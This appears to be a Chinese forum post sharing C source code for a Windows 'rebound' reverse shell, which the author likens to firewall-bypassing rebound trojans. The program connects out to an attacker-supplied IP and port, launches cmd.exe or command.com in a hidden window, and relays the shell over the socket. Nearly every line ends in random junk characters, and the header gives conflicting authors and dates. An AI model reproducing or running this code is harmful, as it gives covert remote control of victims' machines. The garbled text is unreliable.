这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g0j4<\F2\
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/* ============================== KWJgW{{v
Rebound port in Windows NT C9U{^
By wind,2006/7 +;*(a3Gp
===============================*/ 18"VB50b}
#include N>fYH.c3Y
#include r!$NZ2I
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#pragma comment(lib,"wsock32.lib") bo;pj$eR3R
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void OutputShell(); Ik5jwfz
SOCKET sClient; e( o/we{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a\69,%!:
S"^KJUUc
void main(int argc,char **argv) H='9zqYZ<W
{ GHJ=-9{YL
WSADATA stWsaData; 6L2*gO:r?
int nRet; NhK(HTsvK
SOCKADDR_IN stSaiClient,stSaiServer; *:T>~ilF
s`iNbW="
if(argc != 3) cL)rjty2
{ c =N]!
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printf("Useage:\n\rRebound DestIP DestPort\n"); z3Y)-
return; j]B$(pt
} te*Y]-&I|/
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WSAStartup(MAKEWORD(2,2),&stWsaData); C6'*/wq
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6eUiI@J
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stSaiClient.sin_family = AF_INET; qi SEnRG.
stSaiClient.sin_port = htons(0); Gr#rM/AfCK
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ZC5Yve8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;2Ad])
{ ju^"vw
printf("Bind Socket Failed!\n"); TFC!u0Y"$
return; rZ.a>'T4
} 2b4pOM7W
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stSaiServer.sin_family = AF_INET; C*s0r;
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "T a9
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LbV]JP
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c,+(FQ9
{ F%.9fUo
printf("Connect Error!"); *2Vp4
return; &Ev]x2YC
} Kcw1uLb
OutputShell(); ;V"yMWjc
} o?va#/fk
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void OutputShell() 4ljvoJ}xjr
{ ]\a\6&R
char szBuff[1024]; B)*#g
SECURITY_ATTRIBUTES stSecurityAttributes; }&(E#*>x
OSVERSIONINFO stOsversionInfo; EK8E
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QBfhyo_
STARTUPINFO stStartupInfo; qsft*&
char *szShell; ^EUOmVN
PROCESS_INFORMATION stProcessInformation; LN.Bd,
unsigned long lBytesRead; *K}z@a_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \L9?69B~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nG},v%
stSecurityAttributes.lpSecurityDescriptor = 0; 6>=-/)p}
stSecurityAttributes.bInheritHandle = TRUE; $
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :^H9W^2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Zc4(tf9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z<oE!1St
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <t[Z9s$n
stStartupInfo.wShowWindow = SW_HIDE; *X=@yB*aK
stStartupInfo.hStdInput = hReadPipe; Y|m_qB^_
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qD(fYOX{C
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GetVersionEx(&stOsversionInfo); u+mjguIv
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switch(stOsversionInfo.dwPlatformId) 7cUR.PI#Q
{ G>=9gSLM
case 1: s<Ex"+
szShell = "command.com"; Ms:KM{T0
break; 5w,lw
default: *or2
szShell = "cmd.exe"; _'!N q
break; L876$
} l$k]O
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yN 9$gfJC^
1A%N0#_(Md
send(sClient,szMsg,77,0); tDC0-N&6S~
while(1) ;#Jq$v)D
{ ~j/bCMEf!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1N!Oslum
if(lBytesRead) <pTQpU
{ er["NSo
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u [V4OU}%
send(sClient,szBuff,lBytesRead,0); 4i_spF-3
} .Bb$j=
else 9?u9wuH
{ +,&m7L
lBytesRead=recv(sClient,szBuff,1024,0); %uGleY]~
if(lBytesRead<=0) break; wO^$!zB W
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i7S>RB
} :LZ-da"QR
} f$1Gu
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return; hsTFAfa'
}